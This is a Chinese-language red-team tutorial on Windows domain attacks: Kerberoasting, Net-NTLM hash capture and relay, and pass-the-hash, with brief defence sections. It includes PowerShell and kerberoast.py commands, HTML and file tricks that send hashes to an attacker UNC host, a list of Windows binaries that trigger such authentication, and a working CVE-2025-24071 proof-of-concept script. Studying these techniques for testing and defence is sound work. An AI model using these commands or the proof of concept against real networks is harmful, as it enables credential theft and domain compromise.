Kerberos是一种支持票证身份验证的安全协议。如果客户端计算机身份验证请求包含有效的用户凭据和服务主体名称 (SPN),则 Kerberos 身份验证服务器将授予一个票证以响应该请求。然后,客户端计算机使用该票证来访问网络资源。在内部网络中,SPN扫描通过 查询向域控制器执行服务发现。这对于红队而言,可以帮助他们识别正在运行重要服务的主机,如终端、交换机、微软SQL等,并隐藏他们。此外,SPN的识别也是kerberoasting攻击的第一步。
Tim Medin在他的Kerberos攻击演讲中很好地解释了SPN。Sean Metcalf还提供了一些有关SPN的资源,其中包括有关Active Directory服务主体名称的系列资源
参考文章:
https://adsecurity.org/?p=230
https://adsecurity.org/?p=1508
http://adsecurity.org/?page_id=183
Kerberoast攻击概述¶
简单直白的说Kerberoast攻击,就是攻击者为了获取目标服务的访问权限,而设法破解Kerberos服务票据并重写它们的过程。这是红队当中非常常见的一种攻击手法,因为它不需要与服务目标服务进行任何交互,并且可以使用合法的活动目录访问来请求和导出可以离线破解的服务票据,以获取到最终的明文密码。之所以出现这种情况,是因为服务票据使用服务帐户的散列(NTLM)进行加密,所以任何域用户都可以从服务转储散列,而无需将shell引入运行该服务的系统中。
攻击者通常会选择那些可能设置了弱密码破解成功率较高的票据来尝试破解。一旦攻击者成功破解出了票据,他们有时不仅仅获取的只是服务访问权限,如果服务被配置为在高权限下运行,那么整个域都将可能被攻击者拿下。这些票据可以通过考虑多种因素来识别,例如:
- SPNs绑定到域用户账户
- 最后一次密码设置(Password last set)
- 密码过期时间
- 最后一次登录(Last logon)
具体来说,Kerberoast攻击涉及以下五个步骤:
- 服务主体名称(SPN)发现
- 请求服务票据
- 导出服务票据
- 破解服务票据
- 重写服务票据&RAM注入
SPN发现¶
SetSPN¶
SetSPN是一个本地windows二进制文件,可用于检索用户帐户和服务之间的映射。该实用程序可以添加,删除或查看SPN注册。

由于用户已经选择了密码,因此绑定到域用户帐户而不是计算机帐户的服务更可能被配置为弱密码,而对用户有规范名称的服务应该会成为Kerberoasting攻击的针对目标。以下SPN列表中, **PENTESTLAB_001**服务与用户帐户相关联。

GetUserSPNs¶
Tim Medin开发了一个PowerShell脚本,它是kerberoast工具包的一部分,可以帮助我们查询活动目录,以发现仅与用户帐户相关联的服务。

还有一个VBS脚本也是该工具的一部分,可以为我们提供相同的信息。该脚本可以通过使用本机Windows二进制cscript从Windows命令提示符执行。

PowerShell AD Recon¶
除了Tim Medin开发的工具外,Sean Metcalf也开发了各种PowerShell脚本来执行Kerberos侦察。这些脚本是PowerShell AD Recon存储库的一部分,可以在Active Directory中查询服务,例如Exchange,Microsoft SQL,Terminal等。Sean将每个脚本绑定到一个特定的服务,具体取决于你想要发现的SPN。
以下脚本将标识网络上的所有Microsoft SQL实例。
powershell_import /root/Discover-PSMSSQLServers.ps1
powershell_execute Discover-PSMSSQLServers

还可以使用PSMSExchangeServers脚本来查找Microsoft Exchange服务器。
powershell_import /root/Discover-PSMSExchangeServers.ps1
powershell_execute Discover-PSMSExchangeServers

枚举服务帐户很重要,因为这些帐户可能配置了弱密码。PasswordLastSet和LastLogon属性,可以为我们提供那些较有可能会设置弱密码的服务指示。
powershell_import /root/Find-PSServiceAccounts.ps1
powershell_execute Find-PSServiceAccounts

Empire¶
PowerShell Empire还有一个可显示域帐户的服务主体名称(SPN)的模块。

这些服务将以下列格式呈现。

PowerShellery¶
Scott Sutherland在将Get-SPN模块实现到Empire之前,已经创建了多个Powershell脚本作为PowerShellery的一部分,可以为各种服务收集SPN。其中一些需要PowerShell v2.0的环境,还有一些则需要PowerShell v3.0环境。

结果我们也可以将其转换为表格的形式,以便于我们的浏览。

这里我再告诉大家一个脚本,可以为我们获取UserSID,服务和实际用户。

Impacket¶
服务主体名称(SPN)也可以从未加入域的系统中发现,impacket工具包下的python版GetUserSPNs可以为我们做到这点。但是,无法使用基于token的身份验证,因此与Active Directory进行通信需要获取有效的域凭证。

请求服务票据¶
为特定SPN请求服务票据的最简单方法是通过PowerShell,这个方法是Tim Medin在DerbyCon 4.0演讲中介绍的。
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"


请求服务票据的另一种解决方案是通过Mimikatz指定服务主体名称作为目标。

与klist类似,内存中存在的Kerberos票据列表可以通过Mimikatz来检索。从现有的PowerShell会话中,Invoke-Mimikatz脚本将输出所有票据。

或者,加载Kiwi模块添加一些额外的Mimikatz命令,它们也可以执行相同的任务。

还或者可以通过执行一个自定义的Kiwi命令:

Impacket中有一个python模块,它可以请求仅属于域用户的Kerberos服务票据,与计算机帐户服务票据相比应该更易于破解。但是,想要与Active Directory进行交互,需要有效的域凭据,因为它将从不属于域的系统执行。

服务帐户哈希也将以John the Ripper格式检索。

使用Matan Hart开发的PowerShell模块可以帮助我们自动识别弱服务票据,该模块是RiskySPN中的一部分。主要作用是对属于用户的可用服务票据执行审计,并根据用户帐户和密码过期时限来查找最容易包含弱密码的票据。

该脚本将提供比klist和Mimikatz更详细的输出,包括组信息,密码有效期和破解窗口。

使用domain参数执行同一模块,将返回所有具有关联服务主体名称的用户帐户。

服务票据信息也可以以CSV格式导出,以便离线查看。

所有出现在控制台中的票据信息都将被写入文件中。

这里还有一个脚本(相同存储库的一部分),可以通过其SPN为服务实例获取服务票据。

Tim Medin的Kerberoast工具包已实现流程的自动化。Auto-Kerberoast中包含了Tim的原始脚本,其中包含两个可执行各种功能的PowerShell脚本,例如以Base64, John和Hashcat格式列出和导出服务票据等。

还有一个domain参数可以只列出特定域的SPN。

导出服务票据¶
Mimikatz是可以导出Kerberos服务票据的标准工具。从PowerShell会话中,以下命令将列出内存中的所有可用票据,并将其保存在远程主机中。

同样,PowerShell Empire有一个模块可以自动完成Kerberos服务票据提取任务。

该模块将使用Invoke-Mimikatz函数自动执行以下命令。

支持Kerberos身份验证的服务票据哈希可以直接使用PowerShell Empire模块提取。哈希的格式可以提取为John或Hashcat。

该模块将检索所有服务帐户的密码哈希值。

AutoKerberoast PowerShell脚本将请求并提取base64格式的所有服务票据。

AutoKerberoast存储库中还有一个脚本,它将以hashcat兼容格式显示提取的票据。

属于特定域的提升组的票据也可以提取用于更具针对性的Kerberoasting。

Matan Hart开发的Get-TGSCipher PowerShell模块,可以以三种不同的格式提取服务票据的密码哈希值:John,Hashcat和Kerberoast。可以在SPN发现过程中检索脚本所需的关联服务的服务主体名称。
Get-TGSCipher -SPN "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80" -Format John
TGSCipher - Service Ticket Hash

使用Get-TGSCipher函数的好处是,无需使用Mimikatz导出票据,这可以大大降低警报的触发,以及省去将票据转换为john格式的步骤。
破解服务票据¶
python脚本tgsrepcrack是Tim Medin Kerberoast工具包的一部分,可以通过提供的密码列表来破解Kerberos票据。

Lee Christensen开发了一个名为extractServiceTicketParts的python脚本,它可以为我们提取服务票据的哈希值,以及一款Go语言编写的哈希破解器tgscrack ,两者可以配合使用。

tgscrack需要我们为其指定哈希文件以及字典文件的本地存放路径。

密码将以明文显示。
如果PowerShell remoting已启用,则可以使用从服务票据中检索的密码执行远程命令等操作。
Enable-PSRemoting
$pass = 'Password123' | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList 'PENTESTLAB_001', $pass
Invoke-Command -ScriptBlock {get-process} -ComputerName WIN-PTELU2U07KG.PENTESTLAB.LOCAL -Credential $creds

正在运行的进程列表将被检索

服务票据重写&RAM注入¶
Kerberos票据使用密码的NTLM哈希签名。如果票据散列已被破解,那么可以使用Kerberoast python脚本重写票据。这将允许在服务将被访问时模拟任何域用户或伪造账户。此外,提权也是可能的,因为用户可以被添加到诸如域管理员的高权限组中。
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512

使用以下Mimikatz命令将新票据重新注入内存,以便通过Kerberos协议对目标服务执行身份验证。
相关参考文章:
https://github.com/nidem/kerberoast
https://github.com/xan7r/kerberoast
https://github.com/cyberark/RiskySPN
https://github.com/leechristensen/tgscrack
http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/
https://adsecurity.org/?p=2293
https://www.blackhillsinfosec.com/a-toast-to-kerberoast/
https://blog.xpnsec.com/kerberos-attacks-part-1/
https://www.cyberark.com/blog/service-accounts-weakest-link-chain/
扫描SPN原理分析¶
在了解了 Kerberos 和 SPN 之后我们可以通过 SPN 来获取我们想要的信息,比如想知道域内哪些主机安装了什么服务,我们就不需要再进行批量的网络端口扫描。在一个大型域中通常会有不止一个的服务注册 SPN,所以可以通过「SPN 扫描」的方式来查看域内的服务。相对于通常的网络端口扫描的优点是不用直接和服务主机建立连接,且隐蔽性更高。
在 SPN 扫描时我们可以直接通过脚本,或者命令去获悉内网已经注册的 SPN 内容。那如果想了解这个过程是如何实现的,就需要提到 LDAP 协议。
LDAP 协议全称是 LightweightDirectory Access Protocol,一般翻译成轻量目录访问协议。是一种用来查询与更新 Active Directory 的目录服务通信协议。AD 域服务利用 LDAP 命名路径(LDAP naming path)来表示对象在 AD 内的位置,以便用它来访问 AD 内的对象。
LDAP 数据的组织方式:

更直观的说可以把 LDAP 协议理解为一个关系型数据库,其中存储了域内主机的各种配置信息。
在域控中默认安装了 ADSI 编辑器,全称 ActiveDirectory Service Interfaces Editor (ADSI Edit),是一种 LDAP 的编辑器,可以通过在域控中运行 adsiedit.msc 来打开(服务器上都有,但是只有域控中的有整个域内的配置信息)。

通过 adsiedit.msc 我们可以修改和编辑 LADP,在 SPN 查询时实际上就是查询 LADP 中存储的内容。
比如在我们是实验环境域 YUNYING.LAB 中,存在名为 svcserver 的一个 OU(OrganizationUnit,可以理解为一个部门,如开发部、财务部等等),其中包含了 tsvc 这个用户,从用户属性中可以看到 tsvc 注册过的 SPN 内容。

当我们在一台主机执行
命令查询域内 SPN 时,通过抓包可以看到正是通过 LDAP 协议向域控中安装的 LDAP 服务查询了 SPN 的内容。

所以其实那些 Powershell 脚本其实主要就是通过查询 LDAP 的内容并对返回结果做一个过滤,然后展示出来
Kerberoast原理分析¶
在前面介绍 Kerberos 的认证流程时说到,在 KRB_TGS_REP 中,TGS 会返回给 Client 一张票据 ST,而 ST 是由 Client 请求的 Server 端密码进行加密的。当 Kerberos 协议设置票据为 RC4 方式加密时,我们就可以通过爆破在 Client 端获取的票据 ST,从而获得 Server 端的密码。
下图为设置 Kerberos 的加密方式,在域中可以在域控的「组策略管理」中进行设置:

设置完成之后运行里输入「gpupdate」刷新组策略,策略生效。
参考文章:https://www.freebuf.com/articles/system/196434.html
Kerberoast攻击防御¶
Kerberoasting攻击的主要前提是口令复杂度较低、 加密算法强度较弱
对抗Kerberoasting攻击也需从这2方面开展:
- 提高服务账号的口令复杂度;
- 尽量将域内的服务器系统升级至少至Windows 2008 系统,应用AES256高难度的加密算法.
管理员可在域内一台主机上使用Invoke-Kerberoast检查是否存在危险的SPN
下载地址:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Net-NTLM Relay攻击¶
中继介绍¶
微软的NTLM SSP(NTLM Security Support Provider)为NTLM认证的实现提供了基本功能,是Windows SSPI(Security Support Provider Interface)的一种具体实现,NTLM SSP只是实现了NTLM认证并没有规定使用什么协议来进行传输,实际上SMB、HTTP、LDAP、MSSQL等协议都可以携带NTLM认证的三类消息,也就是说我们可以通过这些协议来进行攻击,不过需要注意的是用户密码的Hash被称为LM hash或NT Hash(Windows Vista/Windowsserver 2008以后LM hash被弃用),即所谓的NTLM hash,这类Hash可以用来进行PTT攻击,但并不能用来Relay Attack~Relay
Attack严格意义上讲是用于网络认证的Net-NTLM Hash的Relay,Net-NTLM Hash是由NTLM认证过程中客户端本地用户密码的Hash对服务端返回的challenge加密后返回给服务器用于验证的Response,所以严格来讲,应该是Net-NTLM Hash Relay
中继原理¶
中继的基本流程如下图所示:

在上图中的客户端视角里,攻击者就是他要访问的服务端,它在与攻击者这台主机进行NTLM认证,而整个流程也只有攻击者这台主机与其进行交互,而在服务端的视角里攻击者是客户端,攻击者在向服务端证明自己的身份,通过中间人攻击的方法,攻击者可以伪造成客户端来完成身份验证,其实攻击者所做的事情只是把所有客户端的请求Relay到服务端并把所有服务端的请求Relay到客户端,而在服务端看来一直以来只有攻击者在跟他交互,所以自然而然就认为攻击者就是客户端,这样子攻击者就达到了伪造成真正客户端的目的
中继步骤¶
NTLM中继攻击只需要两步:
- 获取受害者Net-NTLM Hash
- 使用Net-NTLM Hash进行重放攻击
UNC路径(共享文件夹与访问)¶
通用命名约定 (UNC) 路径,用于访问网络资源,具有以下格式:
- 一个以
\\开头的服务器名或主机名。 服务器名称可以为 NetBIOS 计算机名称或者 IP/FQDN 地址(支持 IPv4 和 IPv6)。 - 共享名,使用
\将其与主机名分隔开。 服务器名和共享名共同组成了卷。 - 目录名称。 目录分隔符用来分隔嵌套目录层次结构中的子目录。
- 可选的文件名。 目录分隔符用来分隔文件路径和文件名。
以下是一些 UNC 路径的示例:
| 路径 | 描述 |
|---|---|
\\system07\C$\ |
system07 上 C: 驱动器的根目录。 |
\\Server2\Share\Test\Foo.txt |
\\Server2\Share 卷的测试目录中的 Foo.txt 文件。 |
UNC 路径必须始终是完全限定的。 它们可以包括相对目录段(. 和 ..),但是这些目录段必须是完全限定的路径的一部分。 只能通过将 UNC 路径映射至驱动器号来使用相对路径。
参考Windows文档:https://learn.microsoft.com/zh-cn/dotnet/standard/io/file-path-formats#unc-paths
其他参考:https://zhcn.eyewated.com/%E4%BD%BF%E7%94%A8%E9%80%9A%E7%94%A8%E5%91%BD%E5%90%8D%E7%BA%A6%E5%AE%9A%EF%BC%88unc%E8%B7%AF%E5%BE%84%EF%BC%89/
Net-NTLM Hash获取¶
获取 Net-NTLM Hash 又分为两步,具体如下:
- 使用工具来监听目标服务器发来的NTLM请求
- 使目标服务器主动向攻击者发起NTLM认证
在攻击者主机中使用Responder执行如下命令开启监听:

LLMNR和NBNS协议¶
LLMNR(Link-Local Multicast Name Resolution 链路本地多播名称解析)和 NBNS(Network Basic Input Output System Name Service,网络基本输入输出系统名称服务)是局域网内的协议,主要用于局域网内的名称解析。当其他方式解析失败时,Windows系统就会使用LLMNR和NBNS协议解析名称。
Windows系统的名称解析顺序如下:
- 本地hosts文件(%windir%\System32\drivrs\etc\hosts);
- DNS缓存/DNS服务器
-
LLMNR和NBNS协议
-
(1) LLMNR协议
LLMNR协议是一个基于域名称解析系统数据包格式的协议,它定义在RFC4795中。该协议将局域网内的IPv4和IPv6的主机进行名称解析为同一本地链路上的主机,因此也称作多播DNS。Windwos 操作系统从Windows Vista 开始就内嵌支持LLMNR协议,Linux系统也通过了systemd实现了此协议。LLMNR协议监听的端口为UDP的5355端口,支持IPv4和IPv6。LLMNR协议类似于ARP协议,其解析名称的特点为端到端,IPv4的多播地址为224.0.0.252,IPv6的多播地址为FF02::1:3
- (2) NBNS协议
NBNS协议有IBM公司开发,主要用于20~200台计算机的局域网。NBNS协议通过UDP的137端口进行通信,仅支持IPv4而不支持IPv6.NBNS是一种应用程序接口,系统可以利用WINS服务、广播及Lmhosts文件等多种模式将NetBIOS名称解析为相应的IP地址,几乎所有局域网都是在NBNS协议基础上工作的。在Windows操作系统中,默认情况下在安装TCP/IP协议后会自动安装NetBIOS。NBNS协议进行名称解析的过程如下:
- 检查本地NetBIOS缓存
- 如果缓存中没有请求的名称且已配置了WINS服务器,则会向WINS服务器发生请求
- 如果没有配置WINS服务器或WINS服务器无响应,则会向当前子网域发送广播
- 发送广播后,如果无任何主机响应,则会读取本地的Lmhosts文件
- (3)LLMNR 和 NBNS 协议的区别
两者的区别如下:
- NBNS基于广播,而LLMNR基于多播
- NBNS在Windows NT以及更高版本的操作系统上均可使用,而LLMNR只有Windows Vista 以及更高版本的系统上才可用
-
LLMNR支持IPv6,而NetBIOS不支持IPv6
-
(4)LLMNR&NBNS攻击
用户输入任意一个不存在的名称,本地hosts文件和DNS服务器均不能正常解析该名称,于是系统就会发送LLMNR/NBNS数据包请求解析。攻击者收到请求后告诉客户端自己是不该存在的名称并要求客户端发送给Net-NTLM Hash 进行认证,这样攻击者就可以收到客户端发来的 Net-NTLM Hash 了


如图所示,在局域网内主机192.168.41.10上请求解析不存在的名称abcdefgh,此时Responder对目标主机进行LLMNR/NBNS毒化,并要求输入凭据认证,然后就可以抓到目标机器的 Net-NTLM Hash,如图所示:

打印机漏洞¶
脚本下载地址:
https://github.com/dirkjanm/krbrelayx
Windows 的 MS-RPRN 协议用于打印客户端和服务器之间的通信,默认情况下是启用的。该协议定义的RpcRemoteFindFirstPrinterChangeNotificationEx()方法调用会创建一个远程更该通知对象,该对象对打印机对象的更改进行监视,并将更改通知发送到打印客户端。任何经过身份验证的域成员都可以连接到远程服务器的打印服务spoolsv.exe,并请求对一个新的打印作业进行更新,令其将该通知发送给指定目标,之后它将会立即测试该连接,即向指定目标进行身份验证(攻击者可以选则通过Kerberos或NTLM进行验证)
微软表示这个Bug是系统的实际特点,无需修复。由于打印机是以System权限运行的,因此可以访问打印机的MS-RPRNRPC接口,迫使打印机服务向指定的机器发起请求,就能取得目标机器的Net-NTLM Hash了。
域内任意用户访问目标机器的打印机服务,printerbug.py脚本会触发SpoolService Bug,强制目标主机DC也就是192.168.41.10通过MS-RPRNRPC接口攻击者192.148.41.13进行NTLM身份认证,在本实验中也就是我们kali机器的IP地址。printerbug.py脚本执行的命令如下:
如图所示,使用printerbug.py脚本触发目标机器向192.168.41.13发起SMB认证。

此时Responder已经收到目标机器发送的SMB类型的Net-NTLM Hash 了,如图所示:

PetitPotam¶
下载地址:
https://github.com/topotam/PetitPotam
2021年7月19日,法国安全研究员 Gilles Lionel 批露了一种新型的触发 Net-NTLM Hash的手法——PetitPotam,该漏洞利用了微软加密文件系统远程协议(Microsoft Encrypting File System Remote Protocol, MS-EFSRPC)。 MS-EFSRPC用于对远程协议存储和通过网络访问的数据执行维护和管理操作。利用PetitPotam,安全研究员可以通过连接到LSARPC强制触发目标机器向指定的远程服务器发送Net-NTLM Hash。
使用Petitpotam.py脚本执行如下的命令,强制目标主机DC也就是192.168.41.10向我们的kali机器192.168.41.13发起NTLM身份认证。PetitPotam脚本也支持匿名触发。

如图所示,使用PetitPotam.py脚本出发目标机器向攻击者发起SMB认证。

此时Responder已经收到目标机器发送的SMB类型的Net-NTLM Hash 了,如图所示。
利用WPAD劫持¶
WPAD全称为网络代理自动发现协议,它是客户端使用DHCP、DNS、LLMNR、NBNS协议来定位一个代理自动配置文件URL的方法。
代理自动配置文件(PAC),定义了浏览器或者其他代理如何选择适当的代理服务器来访问其要访问的URL。
也就是说,通过劫持WPAD,返回一个恶意构造好的PAC文件。然后客户端就会从这个PAC文件中去选择合适的代理服务器。由于远程PAC文件可以指定为攻击者自己的V-P-S服务器上的一个伪造文件,因此客户端的代理服务器也就被攻击者控制了。
PAC代理自动配置文件的格式如下,文件名为wpad.dat:
function FindProxyForURL(url, host) {
if (url== 'http://www.baidu.com/') return 'DIRECT';
if (host== 'twitter.com') return 'SOCKS 127.0.0.10:7070';
if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.0.0.1:8086;DIRECT';
return 'DIRECT';
}
劫持WPAD一般有两种方式,一种是利用LLMNR/NBNS投毒,另外一种是利用ipv6协议,使用DHCPv6进行劫持。
LLMNR/NBNS投毒¶
当浏览器设置了代理为
自动检测设置后,用户访问一个URL的时候,主机就会向WPAD/wpad.dat发送查询请求。如果在域环境中,没有对WPAD主机进行配置,本地hosts文件和DNS服务器解析不到这个域名的话,就会通过LLMNR广播的方式,向局域网内的服务器询问该主机对应ip。
此时如果攻击者在局域网内,就可以伪造声称自己是WPAD主机,并返回给受害者PAC文件,其中的代理服务器可以指向攻击者自身。客户机收到PAC文件之后,所有的HTTP流量都会经过代理服务器,也就是攻击者的服务器,这也就达到了劫持流量的目的,开启了中间人攻击。

IE浏览器默认配置为自动检测代理,当攻击机在局域网内监听流量之后,客户端打开IE浏览器并随机访问一个网页时,攻击者就可以伪造成WPAD,向其返回一个PAC文件,并将代理指向自己。

DHCPv6¶
微软在2016发布了MS16-077的补丁,添加了两个保护措施:
- 禁止系统通过广播协议来解析
WPAD文件的位置,只能通过使用DHCP或者DNS协议来确定位置。 - 更改了
PAC文件下载的默认行为,当通过WinHTTP请求PAC文件的时候,不会自动发送客户端的凭据来响应请求。
因此,为了绕过第一个限制,就可以采用DHCP v6的方式。
DHCP V6的交互方式:
- 客户端向组播地址发送
Solicit请求报文 - 组播地址包括的整个地址链路范围内的
DHCP服务器和中继代理回应一个Advertise消息给客户端。 - 客户端会选择优先级最高的服务器发送
Request请求。 - 相应服务器回复确认地址、委托前缀、配置等信息。
也就是说,在IPv6的情况下,攻击者接收到其他机器的DHCP v6组播包之后,可以让受害者的DNS服务器设置成攻击者IPv6地址。这样在进行WPAD查询的时候,就会像攻击者的主机发送请求。
利用mitm6工具,该工具自动检测攻击者计算机的IP配置,并以包含攻击者IP作为DNS服务器的DHCPv6应答回复网络中客户端发送的DHCPv6请求进行DNS欺骗,成功之后将目标主机的默认网关将设置成攻击机的IPv6地址。
工具下载地址:https://github.com/dirkjanm/mitm6

第二个限制的绕过方式相对来说就比较简单,只需要在进行HTTP认证的时候,强制用户输入验证信息,即可。在使用Responder工具的时候,使用-F选项。
图标¶
当图标的一些路径改成指定的UNC路径,就能收到目标机器发来的NTLM请求。
- (1)desktop.ini 文件
每个文件夹下都有一个隐藏的desktop.ini,其作用是指定文件夹的图标等。可以通过修改文件夹属性“隐藏受保护的操作系统文件(推荐)”来显示desktop.ini文件。
首先创建一个test文件夹。修改该文件夹的图标为其中任意一个,如图所示

在“文件夹选项”对话框的“查看”选项卡中取消勾选该文件夹的“隐藏受保护的操作系统(推荐)属性”,同时将在“隐藏文件和文件夹”选项下勾选“显示隐藏的文件、和文件夹和驱动器”如图所示:

这样就能在test文件夹下看到desktop.ini文件了,如图所示

desktop.ini文件原内容如图所示

将IconResource的内容替换为指定机器的UNC路径,如图所示

只要有人访问了test文件夹,目标机器就会去请求指定的UNC的图标资源,于是该机器将当前用户的Net-NTLM Hash发送给指定的UNC机器,在指定的UNC机器上就能接收到目标机器了发来的 Net-NTLM Hash 了。

- (2).scf后缀文件
一个文件夹内若含有.scf文件,由于scf包含IconFile属性,因此explore.exe会尝试获取文件夹的图标。而IconFile是支持UNC路径的,所以当打开文件夹的时候,目标机器就会请求指定UNC的图标资源,并将当前用户的NTLM v2 Hash 发送给指定的机器,我们在该机器上使用Responder监听,就能收到目标机器发来的Net-NTLM Hash 了。
以下是.scf文件的格式
创建一个文件夹,在该文件夹下创建test.scf文件,文件内容如下:

只要有人访问了test文件夹,目标机器就会请求指定的UNC路径的图标资源,于是该机器会将当前用户 NTLM v2 Hash 发送给指定机器 192.168.41.13,在该机器上就能收接受到目标机器发来的Net-NTLM Hash了。

浏览器¶
当浏览器访问的页面中含有UNC路径,浏览器在解析该页面时也会尝试请求该UNC地址,然后发起NTLM认证。
不同的浏览器对插入不同格式的UNC路径的测试结果如图所示:

比如,在如下的网页文件中插入的UNC格式为\192.168.41.13\test。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
</head>
<body>
</body>
<script src="\\192.168.41.13\test"></script>
</html>
这时用户使用IE浏览器访问该页面时,在192.18.41.13机器上就能获得目标用户的SMB类型的Net-NTLM Hash 了。

其他浏览器读者可自行尝试,解决了浏览器对UNC路径的解析后,我们就要思考如何在网页红插入UNC路径了。常见的Web漏洞(如XSS、SSRF、XXE等)都可以在web页面中插入代码。
系统命令¶
通过执行系统命令,访问指定的UNC路径,也可以获取到目标机器的Net-NTLM Hash。触发Net-NTLM Hash的常见命令如下:
net.exe use \hostshare
attrib.exe \hostshare
cacls.exe \hostshare
certreq.exe \hostshare #(noisy, pops an error dialog)
certutil.exe \hostshare
cipher.exe \hostshare
ClipUp.exe -l \hostshare
cmdl32.exe \hostshare
cmstp.exe /s \hostshare
colorcpl.exe \hostshare #(noisy, pops an error dialog)
comp.exe /N=0 \hostshare \hostshare
compact.exe \hostshare
control.exe \hostshare
convertvhd.exe -source \hostshare -destination \hostshare
Defrag.exe \hostshare
diskperf.exe \hostshare
dispdiag.exe -out \hostshare
doskey.exe /MACROFILE=\hostshare
esentutl.exe /k \hostshare
expand.exe \hostshare
extrac32.exe \hostshare
FileHistory.exe \hostshare #(noisy, pops a gui)
findstr.exe * \hostshare
fontview.exe \hostshare #(noisy, pops an error dialog)
fvenotify.exe \hostshare #(noisy, pops an access denied error)
FXSCOVER.exe \hostshare #(noisy, pops GUI)
hwrcomp.exe -check \hostshare
hwrreg.exe \hostshare
icacls.exe \hostshare
licensingdiag.exe -cab \hostshare
lodctr.exe \hostshare
lpksetup.exe /p \hostshare /s
makecab.exe \hostshare
msiexec.exe /update \hostshare /quiet
msinfo32.exe \hostshare #(noisy, pops a "cannot open" dialog)
mspaint.exe \hostshare #(noisy, invalid path to png error)
msra.exe /openfile \hostshare #(noisy, error)
mstsc.exe \hostshare #(noisy, error)
netcfg.exe -l \hostshare -c p -i foo
如图所示,使用系统命令cacls.exe访问指定的UNC路径就可以触发 Net-NTLM Hash了。

这样就收到目标机器的Net-NTLM Hash 了

Office¶
新建一个word文件,插入一张图片,如图所示

用压缩软件打开,进入 word/_rels 目录,找到并打开document.xml.rels文件

可以看到Target参数是本地路径,如图所示

我们将上述的路径修改为指定的UNC路径,然后加上TargetMode="External"

只要有人访问了该word文档,目标主机就会去请求指定UNC的图片资源,于是该主机会将当前用户的NTLM v2 hash发送给指定的机器,我们在该机器上使用Responder监听,就能接收到目标机器发来的Net-NTLM Hash了

用户头像利用¶
此方法适用于Windows 10/2016/2019,在更改账户图片处用普通用户的权限指定一个webadv地址的图片,如果普通用户验证图片通过,那么SYSTEM用户(域内是机器用户)也去访问192.168.188.129,并且携带凭据,我们就可以拿到机器用户的net-ntlm hash,这个也可以用来提权

随后可以获得NTLM-Hash值
通过构造PDF获取¶
PDF规范允许为GoTobe和GoToR条目加载远程内容,PDF文件可以添加一项功能,请求远程SMB服务器的文件,我们直接使用三好学生的脚本
当受害者使用PDF阅读器打开恶意的PDF时可导致载荷成功执行,并返回NTLM-Hash

Note
经过笔者测试发现如果是使用Chrome或者IE浏览器打开PDF文件,并不会执行~
CVE-2025-24071¶
CVE-2025-24071是Windows文件资源管理器中的一个欺骗漏洞,利用Windows对.library-ms文件的隐式信任和自动解析特性。攻击者通过构造包含恶意SMB路径的.library-ms文件并打包为ZIP/RAR文件,当用户解压时,Windows资源管理器会自动尝试连接到指定的SMB服务器,从而泄露用户的NTLM认证哈希。
影响范围:
- Windows 10及更早版本
- Windows 11(未安装最新补丁的版本)
- Windows Server 2016/2019/2022(未安装最新补丁的版本)
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\攻击者IP\共享名</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
poc¶
CVE-2025-24071_PoC/poc.py at main · 0x6rss/CVE-2025-24071_PoC
import os
import zipfile
def main():
file_name = input("Enter your file name: ")
ip_address = input("Enter IP (EX: 192.168.1.162): ")
library_content = f"""<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\\\{ip_address}\\shared</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
"""
library_file_name = f"{file_name}.library-ms"
with open(library_file_name, "w", encoding="utf-8") as f:
f.write(library_content)
with zipfile.ZipFile("exploit.zip", mode="w", compression=zipfile.ZIP_DEFLATED) as zipf:
zipf.write(library_file_name)
if os.path.exists(library_file_name):
os.remove(library_file_name)
print("completed")
if __name__ == "__main__":
main()

执行后会生成恶意文件的压缩包,将它传到靶机处

可以看到收到windows NTML Hash
Net-NTLM Hash利用¶
在获取到目标机器的 Net-NTLM Hash 后,我们要怎么利用呢?这里有利用方式:
- 使用Hashcat破解Net-NTLM Hash
- Relay Net-NTLM Hash
Net-NTLM Crack¶
我们可以使用hashcat来破解Net-NTLM的哈希值,格式如下:

破解后的结果:

通过破解的账户与密码我们即可进行横向移动连接远程主机了:

Net-NTLM Hash的破解:https://www.anquanke.com/post/id/194069#h3-2
Net-NTLM Relay¶
参考文章:
内网渗透之NTLM中继劫持 - 先知社区 (aliyun.com)
https://www.freebuf.com/articles/web/293281.html
https://www.freebuf.com/articles/network/308340.html
NTLM Relay 攻击防御¶
Question
对于防守方或蓝队来说,如何针对 NTLM Relay 攻击进行防御和检测呢?
由于域内NTLM Relay 攻击最常见的就是中继到LDAP执行高危险操作,因此需要对LDAP进行安全加固。
微软于2019年9月份发布相关通告称计划于2020年1月发布安全更新。为了提升域控的安全性,该安全更新将强制开启所有域控上LDAP通到绑定与LDAP签名功能。如果域控上的LDAP强制开启了签名,那么攻击者将无法将其他流量中继到LDAP进行高危险操作了。
Pass The Hash攻击¶
哈希传递¶
大多数渗透测试人员都听说过哈希传递(Pass The Hash)攻击。该方法通过找到与账户相关的密码散列值(通常是 NTLM Hash)来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码
因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。同时,通过哈希传递攻击,攻击者不需要花时间破解密码散列值(进而获得密码明文)。
